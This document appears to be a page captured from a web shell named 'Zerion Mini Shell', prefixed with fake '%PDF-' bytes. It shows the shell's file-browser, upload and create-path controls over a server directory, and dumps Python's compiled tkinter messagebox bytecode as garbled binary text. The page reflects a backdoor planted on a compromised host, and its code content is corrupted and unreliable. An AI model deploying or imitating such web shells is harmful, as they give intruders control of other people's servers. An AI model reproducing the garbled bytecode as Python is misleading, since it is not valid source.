%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/tkinter/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/tkinter/__pycache__/messagebox.cpython-38.pyc

U

na}@sHddlmZdZdZdZdZdZdZdZd	Z	d
Z
dZdZd
Z
dZdZdZdZdZGdddeZd5ddZd6ddZd7ddZd8ddZd9ddZd:dd Zd;d!d"Zd<d#d$Zd=d%d&Zed'krDeded(d)eded(d*eded(d+eded(d,ed-ed(d.ed/ed(d0ed1ed(d2ed3ed(d4dS)>)DialogerrorinfoZquestionwarningZabortretryignoreokZokcancelZretrycancelZyesnoZyesnocancelabortZretryignorecancelZyesnoc@seZdZdZdZdS)Messagez
A message boxZ
tk_messageBoxN)__name__
__module____qualname____doc__Zcommandrr./usr/local/lib/python3.8/tkinter/messagebox.pyr9srNcKsl|rd|kr||d<|r(d|kr(||d<|r4||d<|r@||d<tf|}t|trd|r`tStSt|S)NZicontypetitlemessage)rZshow
isinstanceboolYESNOstr)rrZ_iconZ_typeoptionsresrrr_showCs
rcKst||ttf|S)zShow an info message)rINFOOKrrrrrrshowinfoRsr cKst||ttf|S)zShow a warning message)rWARNINGrrrrrshowwarningWsr"cKst||ttf|S)zShow an error message)rERRORrrrrr	showerror\sr$cKst||ttf|S)zAsk a question)rQUESTIONYESNOrrrraskquestionasr'cKst||ttf|}|tkS)z@Ask if operation should proceed; return true if the answer is ok)rr%OKCANCELrrrrsrrraskokcancelfsr+cKst||ttf|}|tkS)z0Ask a question; return true if the answer is yes)rr%r&rr)rrraskyesnolsr,cKs.t||ttf|}t|}|tkr&dS|tkS)zDAsk a question; return true if the answer is yes, None if cancelled.N)rr%YESNOCANCELrCANCELrr)rrraskyesnocancelrs
r/cKst||ttf|}|tkS)zDAsk if operation should be retried; return true if the answer is yes)rr!RETRYCANCELRETRYr)rrraskretrycancel|sr2__main__ZSpamzEgg InformationzEgg Warningz	Egg Alertz	Question?ZproceedzProceed?zyes/nozGot it?z
yes/no/cancelzWant it?z	try againz
Try again?)NNNN)NN)NN)NN)NN)NN)NN)NN)NN)Ztkinter.commondialogrr#rr%r!ZABORTRETRYIGNORErr(r0r&r-ZABORTr1ZIGNOREr.rrrrr r"r$r'r+r,r/r2rprintrrrr<module>sH










	


Zerion Mini Shell 1.0